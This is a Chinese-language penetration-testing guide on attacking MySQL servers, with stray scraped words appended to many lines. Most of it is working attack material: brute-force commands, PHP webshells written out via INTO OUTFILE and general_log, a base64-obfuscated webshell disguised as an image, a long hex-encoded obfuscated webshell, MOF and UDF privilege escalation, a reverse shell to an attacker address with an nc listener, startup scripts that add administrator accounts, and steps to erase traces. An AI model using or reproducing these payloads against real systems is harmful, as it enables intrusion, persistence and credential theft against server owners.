MySQL 數據庫***及漏洞利用總結php
Simeonpython
MySQL 數據庫是目前世界上使用最爲普遍的數據庫之一,不少著名公司和站點都使用 MySQL 做爲其數據庫支撐,目前不少架構都以 MySQL 做爲數據庫管理系統,例如 LAMP、和 WAMP 等。mysql
在針對網站***中,不少都是跟 MySQL 數據庫有關,各類 MySQL 注入,MySQL 提權,MySQL 數據庫 root 帳號 webshell 獲取等的,但沒有一個對 MySQL 數據庫***較爲全面對總結。linux
針對這種狀況咱們開展了研究,雖然咱們團隊今年正在出版《網絡***實戰研究——漏洞利用與提權》,但技術的進步有無止境,思想有多遠,路就能夠走多遠,在研究 MySQL 數據庫安全之餘,對 MySQL 如何經過 msf、sqlmap 等來進行掃描、漏洞利用、提權、MySQL 密碼破解和獲取 webshell 等進行了詳細研究。git
1.1-MySQL 信息收集github
1. 端口信息收集web
MySQL 默認端口是 3306 端口,但也有自定義端口,針對默認端口掃描主要利用掃描軟件進行探測,推薦使用:算法
(1)iisputter,直接填寫 3306 端口,IP 地址填寫單個或者 C 段地址。sql
(2)nmap 掃描 nmap -p 3306 192.168.1.1-254shell
特定目標的***,可能須要對全端口進行掃描,可使用 Nmap 對某一個 IP 地址進行全端口掃描,端口掃描軟件還有 sfind 等 DOS 下掃描的工具。
2. 版本信息收集
(1)msf 查看版本信息 auxiliary/scanner/mysql/mysql_version 模塊,以掃描主機 192.168.157.130 爲例,命令爲:
use auxiliary/scanner/mysql/mysql_version set rhosts 192.168.157.130 run
(2)MySQL 查詢版本命令:SELECT @@version、SELECT version();
(3)sqlmap 經過注入點掃描確認信息:
sqlmap.py -u url --dbms mysql
(4)phpmyadmin 管理頁面登陸後查看 localhost->變量->服務器變量和設置中的 version 參數值。
3. 數據庫管理信息收集
MySQL 管理工具備多種,例如 phpmyadmin 網站管理,Navicat for MySQL 以及 MysqlFront 等客戶端工具。這些工具備的會直接保存配置信息,這些信息包含數據庫服務器地址和數據庫用戶名以及密碼,經過嗅探或者破解配置文件能夠獲取密碼等信息。
4. msf信息收集模塊
(1)MySQL 哈希值枚舉
use auxiliary/scanner/mysql/mysql_hashdump set username root set password root run
(2)獲取相關信息
use auxiliary/admin/mysql/mysql_enum set username root set password root run
獲取數據庫版本,操做系統名稱,架構,數據庫目錄,數據庫用戶以及密碼哈希值。
(3)執行 MySQL 語句,鏈接成功後能夠在 msf 執行 sql 語句,跟 sqlmap 的「--sql-shell」模塊相似。
use auxiliary/admin/mysql/mysql_sql
(4)將 mysql_schem 導出到本地 /root/.msf4/loot/ 文件夾下
use auxiliary/scanner/mysql/mysql_schemadump
(5)文件枚舉和目錄可寫信息枚舉
auxiliary/scanner/mysql/mysql_file_enum auxiliary/scanner/mysql/mysql_writable_dirs
沒有測試成功過,須要定義枚舉目錄和相關文件,以爲基本沒有啥用。
1.2-MySQL 密碼獲取
1.2.1 暴力破解
MySQL 暴力破解主要有幾種:
1. 網頁在線鏈接破解
可使用 burpsuite 和 phpMyAdmin 多線程批量破解工具。
下載:https://portswigger.net/burp/、http://pan.baidu.com/s/1c1LD6co
2. msf 經過命令行進行暴力破解
msf 破解 mysql 密碼模塊 auxiliary/scanner/mysql/mysql_login,其參數主要有BLANK_PASSWORDS、BRUTEFORCE_SPEED、DB_ALL_CREDS、DB_ALL_PASS、DB_ALL_USERS、PASSWORD、PASS_FILE、Proxies、RHOSTS、RPORT、STOP_ON_SUCCESS、THREADS、USERNAME、USERPASS_FILE、USER_AS_PASS、USER_FILE、VERBOSE參數。
對單一主機僅僅須要設置 RHOSTS、RPORT、USERNAME、PASSWORD 和 PASS_FILE,其它參數根據實際狀況進行設置。
(1)場景A:對內網獲取 root 某一個口令後,擴展***
use auxiliary/scanner/mysql/mysql_login set RHOSTS 192.168.157.1-254 set password root set username root run
執行後對 192.168.157.1-254 進行 MySQL 密碼掃描驗證。
(2)場景B:使用密碼字典進行掃描
use auxiliary/scanner/mysql/mysql_login set RHOSTS 192.168.157.1-254 set pass_file /tmp/password.txt set username root run
3. 使用 nmap 掃描並破解密碼
(1)對某一個 IP 或者 IP 地址段進行 nmap 默認密碼暴力破解並掃描
nmap --script=mysql-brute 192.168.157.130 nmap --script=mysql-brute 192.168.157.1-254
(2)使用root帳號root密碼進行mysql密碼驗證並掃描獲取指定IP地址的端口信息以及mysql數據庫相關信息
nmap -sV --script=mysql-databases --script-argsmysqluser=root,mysqlpass=root 192.168.157.130
(3)檢查root空口令
nmap --script mysql-empty-password 192.168.195.130
4. 使用 hscan 工具對 mysql 口令進行掃描,須要設置掃描 IP 地址段以及數據庫口令字典及用戶名字典。
1.2.2 源代碼泄露
1. 網站源代碼備份文件
一些網站源代碼文件中會包含數據庫鏈接文件,經過查看這些文件能夠獲取數據庫帳號和密碼。通常常見的數據庫鏈接文件爲 config.php、web.config、conn.asp、db.php/asp、jdbc.properties、sysconfig.properties、JBOSS_HOME\docs\examples\jca\XXXX-ds.xml。之前有一款工具挖掘雞能夠自定義網站等名稱對 zip/rar/tar/tar.gz/gz/sql 等後綴文件進行掃描。
2. 配置備份文件
使用 ultraedit 等編輯文件編輯數據庫配置文件後,會留下 bak 文件。
1.2.3 文件包含
本地文件包含漏洞能夠包含文件,經過查看文件代碼獲取數據庫配置文件,進而讀取數據庫用戶名和密碼。
1.2.4 其它狀況
有些軟件會將 IP 地址、數據庫用戶名和密碼寫進程序中,運行程序後,經過 cain 軟件進行嗅探,能夠獲取數據庫密碼。另外 Mysql 客戶端管理工具備的管理員會創建鏈接記錄,這些鏈接記錄保存了用戶名、密碼和鏈接 IP 地址或者主機名,經過配置文件或者嗅探能夠獲取用戶名和密碼。
1.3-Mysql 獲取 webshell
1.3.1 phpmyadminroot 帳號獲取 webshell
MysqlRoot 帳號經過 phpMyAdmin 獲取 webshell 的思路,主要有下面幾種方式,以第一二六八種方法較佳,其它能夠根據實際狀況來進行。
1. 直接讀取後門文件
經過程序報錯、phpinfo 函數、程序配置表等直接獲取網站真實路徑,有些網站前期已經被人***過,所以在目錄下留有後門文件經過 load_file 直接讀取。
2. 直接導出一句話後門
前提須要知道網站的真實物理路徑,例如呼求偶真實路徑 D:\work\WWW,則能夠經過執行如下查詢,來獲取一句話後門文件 cmd.php,訪問地址 http://www.somesite.com/cmd.php
select '<?php @eval($_POST[antian365]);?>'INTO OUTFILE 'D:/work/WWW/antian365.php'
3. 建立數據庫導出一句話後門
在查詢窗口直接執行如下代碼便可,跟2.原理相似。
CREATE TABLE `mysql`.`antian365` (`temp` TEXT NOTNULL ); INSERT INTO `mysql`.`antian365` (`temp` ) VALUES('<?php @eval($_POST[antian365]);?>'); SELECT `temp` FROM `antian365` INTO OUTFILE'D:/www/antian365.php'; DROP TABLE IF EXISTS `antian365`;
4. 可執行命令方式
建立執行命令形式的 shell,但前提是對方未關閉系統函數。該方法導出成功後能夠直接執行DOS命令,使用方法:www.xxx.com/antian365.php?cmd=(cmd=後面直接執行dos命令)。
select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'd:/www/antian365.php'
另外在 linux 下能夠導出直接執行命令的 shell:
SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php'; http://localhost/shell.php?c=cat%20/etc/passwd
5. 過殺毒軟件方式
經過後臺或者存在上傳圖片的地方,上傳圖片 publicguide.jpg,內容以下:
<?php$a=' PD9waHAgQGV2YWwoJF9QT1NUWydhbnRpYW4zNjUnXSk7ZGllKCk7Pz4=';error_reporting(0);@set_time_limit(0);eval("?>".base64_decode($a));?>
而後經過圖片包含temp.php,導出webshell。
select '<?php include 'publicguide.jpg' ?>'INTO OUTFILE 'D:/work/WWW/antian365.php'
一句話後門密碼:antian365
6. 直接導出加密 webshell
一句話後門文件密碼:pp64mqa2x1rnw68,執行如下查詢直接導出加密 webshell,D:/WEB/IPTEST/22.php,注意在實際過程須要修改D:/WEB/IPTEST/22.php。
select unhex('203C3F7068700D0A24784E203D2024784E2E737562737472282269796234327374725F72656C6750383034222C352C36293B0D0A246C766367203D207374725F73706C697428226D756B3961773238776C746371222C36293B0D0A24784E203D2024784E2E73756273747228226C396364706C616365704172424539646B222C342C35293B0D0A246A6C203D2073747269706F732822657078776B6C3766363674666B74222C226A6C22293B0D0A2474203D2024742E737562737472282274514756325957774A63567534222C312C36293B0D0A2465696137203D207472696D28226A386C32776D6C34367265656E22293B0D0A2462203D2024622E73756273747228226B6261736536346B424474394C366E6D222C312C36293B0D0A246967203D207472696D28226233397730676E756C6922293B0D0A2479203D2024792E24784E28227259222C22222C22637259726572596122293B0D0A24797531203D207374725F73706C697428226269316238376D3861306F3678222C32293B0D0A2474203D2024742E24784E282278413678222C22222C2277784136786F4A463922293B0D0A246E64203D2073747269706F7328226E363574383872786E303265646A336630222C226E6422293B0D0A2462203D2024622E24784E282277493339222C22222C225F774933396477493339656322293B0D0A2468387073203D207374725F73706C697428226B6E396A3968346D6877676633666A6970222C33293B0D0A2479203D2024792E7375627374722822687974655F66756E775669535645344A222C322C36293B0D0A24796637203D207374726C656E282275656875343967367467356B6F22293B0D0A2474203D2024742E24784E28226670222C22222C22516670546670314E667022293B0D0A246D39203D207374726C656E282265756C363034636F626B22293B0D0A2462203D2024622E73756273747228226C3057316F64656C413165536E454A222C342C33293B0D0A2468306277203D207472696D28226E33653568306371746F6B76676F6238747822293B0D0A2479203D2024792E24784E28227962222C22222C2263796274696F22293B0D0A24733761203D20727472696D2822617565627963396734743564386B22293B0D0A2474203D2024742E7375627374722822624D73306E4268383355577964222C392C34293B0D0A2464353971203D2073747269706F732822636A7675636B6F79357766336F746561222C226435397122293B0D0A2479203D2024792E73756273747228226E4439487851534C386E6752222C392C31293B0D0A246C31203D207374725F73706C697428226167717130396762716E31222C34293B0D0A2474203D2024742E24784E282277366F34222C22222C2277634477366F345977366F343022293B0D0A247079203D2073747269706F7328226C677938687472727631746333222C22707922293B0D0A2474203D2024742E24784E282265503332222C22222C22625846655033326822293B0D0A2478703364203D2073747269706F732822756B6C306E626E7839677433222C227870336422293B0D0A2474203D2024742E7375627374722822696B4A3030484A4D6E677863222C372C35293B0D0A2464743262203D207374726C656E282265346135616275616A7733766C6369726122293B0D0A2474203D2024742E737562737472282263644E314B78656D35334E776D456838364253222C372C34293B0D0A2475626A203D207374726C656E28227767686A6E6674326F70356B7831633038367422293B0D0A2474203D2024742E73756273747228226D34616F7864756A676E58536B63784C344657635964222C372C36293B0D0A247178203D207374726C656E2822726C71666B6B6674726F3867666B6F37796122293B0D0A2474203D2024742E7375627374722822723779222C312C31293B0D0A246D75203D20727472696D28226E676478777578357671653122293B0D0A246A203D2024792822222C20246228247429293B0D0A24626E6C70203D207374726C656E28227675667930616B316679617622293B0D0A24736468203D207374725F73706C69742822776D6E6A766733633770306D222C34293B0D0A246D62203D206C7472696D28226E353270317067616570656F6B6622293B0D0A2465307077203D20727472696D28227575346D686770356339706E613465677122293B0D0A24756768203D207472696D282272637064336F3977393974696F3922293B0D0A246772636B203D207374726C656E2822783572697835627031786B793722293B0D0A24656F3674203D207374726C656E282264646931683134656375797563376422293B246A28293B0D0A2464766E71203D207374725F73706C6974282270726D36676968613176726F333630346175222C38293B0D0A24756738203D20727472696D28226563387735327375706234767538656F22293B0D0A24726374203D2073747269706F73282268786536776F37657764386D65376474222C2272637422293B0D0A24656B7166203D207374725F73706C69742822707266357930386538666C6666773032356A38222C38293B0D0A24767972203D207374725F73706C69742822756D706A63737266673668356E64366F3435222C39293B0D0A24777266203D20727472696D282266797839396F3739333868377567716822293B0D0A24713134203D207374726C656E2822746334366F73786C3173743169633222293B0D0A66756E6374696F6E206F2820297B2020207D3B0D0A24757366203D207374726C656E2822666C7463707862377466626A736D7422293B0D0A3F3E') into dumpfile 'D:/WEB/IPTEST/22.php'
注意:
也可使用 http://tool.lu/hexstr/網站的代碼轉換來實現,將須要導出的文件代碼複製到網站的字符串中,經過字符串轉成十六進制,將十六進制字符串放入unhex函數進行查詢便可:
select unhex('十六進制字符串') into dumpfile 'D:/WEB/shell.php'
7. CMS 系統獲取 webshell
有些狀況下沒法獲取網站的真實路徑,則意味着沒法直接導出一句話 webshell,能夠經過 CMS 系統管理帳號登陸系統後,尋找漏洞來突破,例如 dedecms 則能夠經過破解管理員帳號後直接上傳文件來獲取 webshell。Discuz!的 UC_key 能夠直接獲取 webshell。甚至某些系統能夠直接上傳 php 文件。下面是一些 CMS 系統***的技巧:
(1)dedecms 系統的密碼有直接 md5,也有20位的密碼,若是是20位的密碼則須要去掉密碼中的前3位和最後1位,而後對剩餘的值進行md5解密便可;
(2)phpcms v9 版本的密碼須要加 salt 進行破解,須要選擇破解算法 md5(md5($pass).$salt) 進行破解。
(3)Discuz!論壇賬號保存在 ucenter_members(Discuz7.X及以上版本)或者cdb_members(discuz6.x版本)表中,其破解須要帶salt進行,其破解時是使用password:salt進行,例如 a0513df9929afc972f024fa4e586e829:399793。
8. general_log_file 獲取 webshell
(1)查看genera文件配置狀況
show global variables like "%genera%";
(2)關閉general_log
set global general_log=off;
(3)經過general_log選項來獲取webshell
set global general_log='on'; SET global general_log_file='D:/phpStudy/WWW/cmd.php';
在查詢中執行語句:
SELECT '<?php assert($_POST["cmd"]);?>';
Shell 爲 cmd.php,一句話後門,密碼爲cmd。
1.3.2 sqlmap 注入點獲取 webshell
sqlmap 注入點獲取 webshell 的前提是具有寫權限,通常是root帳號,經過執行命令來獲取:
sqlmap -u url--os-shell echo "<?php @eval($_POST['c']);?>" >/data/www/1.php
1.4-MySQL提權
1.4.1 mof提權
1. Webshell 上傳 mof 文件提權
MySQL Root 權限 MOF 方法提權是來自國外 Kingcope 大牛發佈的 MySQL Scanner & MySQL Server for Windows Remote SYSTEM Level Exploit(https://www.exploit-db.com/exploits/23083/)
,簡稱 mysql 遠程提權 0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day)。Windows 管理規範 (WMI) 提供瞭如下三種方法編譯到 WMI 存儲庫的託管對象格式 (MOF) 文件:
方法1:運行 MOF 文件指定爲命令行參數 Mofcomp.exe 文件。
方法2:使用 IMofCompiler 接口和 $ CompileFile 方法。
方法3:拖放到 %SystemRoot%\System32\Wbem\MOF 文件夾的 MOF 文件。
Microsoft 建議您到存儲庫編譯 MOF 文件使用前兩種方法。也就是運行 Mofcomp.exe 文件,或使用 IMofCompiler::CompileFile 方法。第三種方法僅爲向後兼容性與早期版本的 WMI 提供,並由於此功能可能不會提供在未來的版本後,不該使用。注意使用MOF方法提權的前提是當前Root賬號能夠複製文件到%SystemRoot%\System32\Wbem\MOF目錄下,不然會失敗!
該漏洞的利用前提條件是必須具有 MySQL 的 root 權限,在 Kingcope 公佈的 0day 中公佈了一個 pl 利用腳本。
perl mysql_win_remote.pl 192.168.2.100 root "" 192.168.2.150 5555
192.168.2.100 爲 MySQL 數據庫所在服務器,MySQL 口令爲空,反彈到 192.168.2.150 的 5555 端口上。
2. 生成 nullevt.mof 文件
將如下代碼保存爲nullevt.mof文件:
#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
3. 經過 MySQL 查詢將文件導入
執行如下查詢語句,將上面生成的 nullevt.mof 導入到 c:\windows\system32\wbem\mof\ 目錄下在windows7 中默認是拒絕訪問的。導入後系統會自動運行,執行命令。
selectload_file('C:\\RECYCLER\\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
4. Msf直接mof提權
Msf 下的 exploit/windows/mysql/mysql_mof 模塊提供了直接 Mof 提權,不過該漏洞成功跟操做系統權限和Mysql數據庫版本有關,執行成功後會直接反彈 shell 到 meterpreter。
use exploit/windows/mysql/mysql_mof set rhost 192.168.157.1 //設置須要提權的遠程主機IP地址 set rport 3306 //設置mysql的遠程端口 set password root //設置mysql數據庫root密碼 set username root //設置mysql用戶名 options //查看設置 run 0
技巧:
要是可以經過網頁鏈接管理(phpmyadmin),則能夠修改host爲「%」並刷新權限後,則能夠經過msf等工具遠程鏈接數據庫。默認root等帳號不容許遠程鏈接,除非管理員或者數據庫用戶本身設置。
方法1:本地登入mysql,更改 "mysql" 數據庫裏的 "user" 表裏的 "host" 項,將"localhost"改成"%"
use mysql; update user set host = '%' where user = 'root'; FLUSH PRIVILEGES ; select host, user from user;
方法2:直接受權(推薦)
從任何主機上使用root用戶,密碼:youpassword(你的root密碼)鏈接到mysql服務器:
# mysql -u root -proot GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'youpassword' WITH GRANT OPTION; FLUSH PRIVILEGES;
推薦從新增長一個用戶,在實際測試過程當中發現不少服務器使用root配置了多個地址,修改後可能會影響實際系統的運行。在實際測試過程當中所以建議新增一個用戶,受權全部權限,而不是直接更改root配置。
1.6.2 udf提權
UDF 提權是利用 MYSQL 的自定義函數功能,將 MYSQL 帳號轉化爲系統 system 權限,其利用條件是目標系統是 Windows(Win2000,XP,Win2003);擁有 MYSQL 的某個用戶帳號,此帳號必須有對 mysql的 insert 和 delete 權限以建立和拋棄函數,有 root 帳號密碼
Windows 下 UDF 提權對於 Windows2008 如下服務器比較適用,也即針對 Windows2000、Windows2003 的成功率較高。
1. UDF提權條件
(1)Mysql版本大於5.1版本udf.dll文件必須放置於MYSQL安裝目錄下的lib\plugin文件夾下。
(2)Mysql版本小於5.1版本。udf.dll文件在Windows2003下放置於c:\windows\system32,在windows2000下放置於c:\winnt\system32。
(3)掌握的mysql數據庫的帳號有對mysql的insert和delete權限以建立和拋棄函數,通常以root帳號爲佳,具有root帳號所具有的權限的其它帳號也能夠。
(4)能夠將udf.dll寫入到相應目錄的權限。
2. 提權方法
(1)獲取數據庫版本、數據位置以及插件位置等信息
select version();//獲取數據庫版本 select user();//獲取數據庫用戶 select @@basedir ;//獲取安裝目錄 show variables like '%plugins%'; //尋找mysql安裝路徑
(2)導出路徑
C:\Winnt\udf.dll Windows 2000 C:\Windows\udf.dll Windows2003(有的系統被轉義,須要改成C:Windowsudf.dll)
MYSQL 5.1以上版本,必需要把udf.dll文件放到MYSQL安裝目錄下的libplugin文件夾下才能建立自定義函數。該目錄默認是不存在的,這就須要咱們使用webshell找到MYSQL的安裝目錄,並在安裝目錄下建立libplugin文件夾,而後將udf.dll文件導出到該目錄便可。
在某些狀況下,咱們會遇到Can't open shared library的狀況,這時就須要咱們把udf.dll導出到lib\plugin目錄下才能夠,網上大牛發現利用NTFS ADS流來建立文件夾的方法:
select @@basedir; //查找到mysql的目錄 select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS建立lib目錄 select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';//利用NTFS ADS建立plugin目錄
執行成功之後就會 plugin 目錄,而後再進行導出 udf.dll 便可。
(3)建立cmdshell 函數,該函數叫什麼名字在後續中則使用該函數進行查詢:
create function cmdshell returns string soname ‘lib_mysqludf_sys.dll’;
(4)執行命令:
select sys_eval(‘whoami’);
通常狀況下不會出現建立不成功哦。
連不上3389能夠先中止windows防火牆和篩選
select sys_eval(‘net stop policyagent’); select sys_eval(‘net stop sharedaccess’);
udf.dll下常見函數:
cmdshell 執行cmd; downloader 下載者,到網上下載指定文件並保存到指定目錄; open3389 通用開3389終端服務,可指定端口(不改端口無需重啓); backshell 反彈Shell; ProcessView 枚舉系統進程; KillProcess 終止指定進程; regread 讀註冊表; regwrite 寫註冊表; shut 關機,註銷,重啓; about 說明與幫助函數;
具體用戶示例:
select cmdshell('net user iis_user 123!@#abcABC /add'); select cmdshell('net localgroup administrators iis_user /add'); select cmdshell('regedit /s d:web3389.reg'); select cmdshell('netstat -an');
(5)清除痕跡
drop function cmdshell;//將函數刪除
刪除udf.dll文件以及其它相關***文件及日誌。
(6)常見錯誤
#1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement SHOW VARIABLES LIKE "secure_file_priv"
在my.ini 或者mysql.cnf 文件中註銷 (使用#號) 包含secure_file_priv的行。
1123 - Can't initialize function 'backshell'; UDFs are unavailable with the --skip-grant-tables option,須要將my.ini中的skip-grant-tables選項去掉。
3. webshell 下 udf 提權
經過集成 udf 提權的 webshell 輸入數據庫用戶名及密碼以及數據庫服務器地址或者IP經過鏈接後導出進行提權。
4. Mysql 提權綜合利用工具
v5est0r 寫了一個Mysql提權綜合利用工具,詳細狀況請參考其代碼共享網站:https://github.com/v5est0r/Python_FuckMySQL其主要功能有:
(1).自動導出你的backdoor和mof文件
(2)自動判斷mysql版本,根據版本不一樣導出UDF的DLL到不一樣目錄,UDF提權
(3)導出LPK.dll文件,劫持系統目錄提權
(4)寫啓動項提權
UdF自動提權:
python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m udf
LPK劫持提權:
python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m lpk
啓動項提權:
python root.py -a 127.0.0.1 -p root -e "ver&whoami" –mst
例如經過LOAD_FILE來查看Mysql配置文件my.ini,若是其中配置了skip-grant-tables
,這沒法進行提權
1.6.3 沒法獲取webshell提權
1. 鏈接 MySQL
(1)mysql.exe -h ip -uroot -p
(2)phpmyadmin
(3)Navicat for MySQL
2. 查看數據庫版本和數據路徑
SELECT VERSION( ); Select @@datadir;
5.1如下版本,將dll導入到c:/windows或者c:/windows/system32/
5.1以上版本 經過如下查詢來獲取插件路徑:
SHOW VARIABLES WHERE Variable_Name LIKE "%dir"; show variables like '%plugin%' ; select load_file('C:/phpStudy/Apache/conf/httpd.conf') select load_file('C:/phpStudy/Apache/conf/vhosts.conf') select load_file('C:/phpStudy/Apache/conf/extra/vhosts.conf') select load_file('C:/phpStudy/Apache/conf/extra/httpd.conf') select load_file('d:/phpStudy/Apache/conf/vhosts.conf')
3. 修改mysql.txt
Mysql.txt爲udf.dll的二進制文件轉成十六進制代碼。
(1)先執行導入ghost表中的內容
修改如下代碼的末尾代碼 select backshell("YourIP",4444);
(2)導出文件到某個目錄
select data from Ghost into dumpfile 'c:/windows/mysqldll.dll'; select data from Ghost into dumpfile 'c:/windows/system32/mysqldll'; select data from Ghost into dumpfile 'c:/phpStudy/MySQL/lib/plugin/mysqldll'; select data from Ghost into dumpfile 'E:/PHPnow-1.5.6/MySQL-5.0.90/lib/plugin/mysqldll'; select data from Ghost into dumpfile 'C:/websoft/MySQL/MySQL Server 5.5/lib/plugin/mysqldll.dll' select data from Ghost into dumpfile 'D:/phpStudy/MySQL/lib/plugin/mysqldll.dll'; C:\ProgramData\MySQL\MySQL Server 5.1\Data\mysql/user.myd select load_file('C:/ProgramData/MySQL/MySQL Server 5.1/Data/mysql/user.frm'); select data from Ghost into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib/plugin/mysqldll.dll'
(3)查看FUNCTION中是否存在cmdshell和backshell
存在則刪除:
drop FUNCTION cmdshell;//刪除cmdshell drop FUNCTION backshell;//刪除backshell
建立backshell:
CREATE FUNCTION backshell RETURNS STRING SONAME 'mysqldll.dll'; //建立backshell
在具有獨立主機的服務器上執行監聽:
nc -vv -l -p 44444
執行查詢:
select backshell("192.192.192.1",44444);//修改192.192.192.1爲你的IP和端口
4. 獲取 webshell 後添加用戶命令
注意若是不能直接執行,則須要到c:\windows\system32\下執行
net user antian365 Www.Antian365.Com /add net localgroup administrators antian365
1.6.4 sqlmap直連數據庫提權
Sqlmap 直接鏈接數據庫提權,須要有寫入權限和root帳號及密碼,命令以下:
(1)鏈接數據庫
sqlmap.py -d "mysql://root:123456@219.115.1.1:3306/mysql" --os-shell
(2)選擇操做系統的架構,32位操做系統選擇1,64位選擇2.
(3)自動上傳udf或提示os-shell
(4)執行whomai命令若是獲取系統權限,則表示提權成功。
4. msfudf提權
Kali***測試平臺下執行(kali下載地址https://www.kali.org/downloads/):
msfconsole use exploit/windows/mysql/mysql_payload options set rhost 192.168.2.1 set rport 3306 set username root set password 123456 run 0或者exploit
msf下udf提權成功率並不高,跟windows操做系統版本,權限和數據庫版本有關,特別是secure-file-priv選項,若是有該選項基本不會成功。
1.6.4 啓動項提權
1. 建立表並插入vbs腳本到表中
依次使用如下命令:
show databases ; use test; show tables; create table a (cmd text); insert into a values ("set wshshell=createobject (""wscript.shell"" ) " ); insert into a values ("a=wshshell.run (""cmd.exe /c net user aspnetaspnettest/add"",0)") ; insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators aspnet /add"",0) " ); select * from a;
2. 導出 vbs 腳本到啓動
使用如下命令將剛纔在a表中建立的vbs腳本導出到啓動選項中。
select * from a into outfile "C:\\Documents and Settings\\All Users\\「開始」菜單\\程序\\啓動\\a.vbs";
導入成功後,系統從新啓動時會自動添加密碼爲「1」且用戶名稱爲「1」的用戶到管理員組中。在實際使用過程當中該腳本成功執行的概率比較低,有時候會出現不能導出的錯誤。
推薦使用如下腳本:
show databases ; use test; show tables; create table b (cmd text); insert into b values ("net user Aspnet123545345!* /add"); insert into b values ("net localgroup administrators Aspnet /add"); insert into b values ("del b.bat"); select * from b into outfile "C:\\Documents and Settings\\All Users\\「開始」菜單\\程序\\啓動\\b.bat";
該腳本執行後雖然會閃現Dos窗口,若是有權限導入到啓動選項中,則必定會執行成功,在虛擬機中經過MySQL鏈接器鏈接並執行以上命令後,在「C:\Documents and Settings\All Users\「開始」菜單\程序\啓動」目錄中會有剛纔導出的b.bat腳本文件
說明
在不一樣的操做系統中「C:\Documents and Settings\All Users\「開始」菜單\程序\啓動」目錄文件名稱可能會不一樣,這個時候就要將其目錄換成相應的目錄名稱便可。例如若是是英文版本操做系統則其插入的代碼爲:
select * from b into outfile "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\b.bat"; Windows 2008 Server的啓動目錄爲:C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\iis.vbs
其vbs方法能夠參考以下寫法:
create table a (cmd text); insert into a values ("set wshshell=createobject (""wscript.shell"" ) " ); insert into a values ("a=wshshell.run (""cmd.exe /c net user antian365 qwer1234!@# /add"",0) " ); insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators antian365 /add"",0) " ); select * from a into outfile "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\iis.vbs";
3.msf下模塊exploit/windows/mysql/mysql_start_up提權
use exploit/windows/mysql/mysql_start_up set rhost 192.168.2.1 set rport 3306 set username root set password 123456 run
msf下mysql_start_up提權有必定的概率,對英文版系統支持較好。
1.7-Msf其它相關漏洞提權
1. Mysql身份認證漏洞及利用(CVE-2012-2122)
當鏈接MariaDB/MySQL時,輸入的密碼會與指望的正確密碼比較,因爲不正確的處理,會致使即使是memcmp()返回一個非零值,也會使MySQL認爲兩個密碼是相同的。也就是說只要知道用戶名,不斷嘗試就可以直接登入SQL數據庫。按照公告說法大約256次就可以蒙對一次。受影響的產品: All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 存在漏洞.
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23不存在漏洞.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not不存在漏洞.
use auxiliary/scanner/mysql/mysql_authbypass_hashdump
2. exploit/windows/mysql/mysql_yassl_hello
3. exploit/windows/mysql/scrutinizer_upload_exec
1.8.-mysql密碼破解
1.8.1 cain工具破解mysql密碼
使用UltraEdit-32編輯器直接打開user.MYD文件,打開後使用二進制模式進行查看,在root用戶後面是一串字符串,選中這些字符串將其複製到記事本中,這些字符串即爲用戶加密值,例如506D1427F6F61696B4501445C90624897266DAE3。
注意:
(1)root後面的「*」不要複製到字符串中。
(2)在有些狀況下須要日後面看看,不然獲得的不是完整的MYSQLSHA1密碼,總之其正確的密碼位數是40位。
安裝cain工具,使用cracker,右鍵單擊「Add tolist」將Mysql Hashes值加入到破解列表中,使用軟件中的字典、暴力破解等方式來進行暴力破解。
1.8.2 網站在線密碼破解
1.cmd5.com破解。將獲取的mysql值放在cmd5.com網站中進行查詢,mysql密碼通常都是收費的。
2.somd5.com破解。Somd5.com是後面出現的一個免費破解網站,每次破解須要手工選擇圖形碼進行破解,速度快,效果好,只是每次只能破解一個,並且破解一次後須要從新輸入驗證碼。
1.8.3 oclhash破解
hashcat支持不少種破解算法,免費開源軟件,官方網站https://hashcat.net/hashcat/,破解命令:
hashcat64.exe -m 200myql.hashpass.dict //破解MySQL323類型 hashcat64.exe -m 300myql.hashpass.dict //破解MySQL4.1/MySQL5類型
1.8.4 John the Ripper password cracker
John the Ripper下載地址:http://www.openwall.com/john/h/john179w2.zip,John the Ripper除了可以破解linux外,還能破解多種格式的密碼。
Echo *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B>hashes.txt John –format =mysql-sha1 hashes.txt john --list=formats | grep mysql //查看支持mysql密碼破解的算法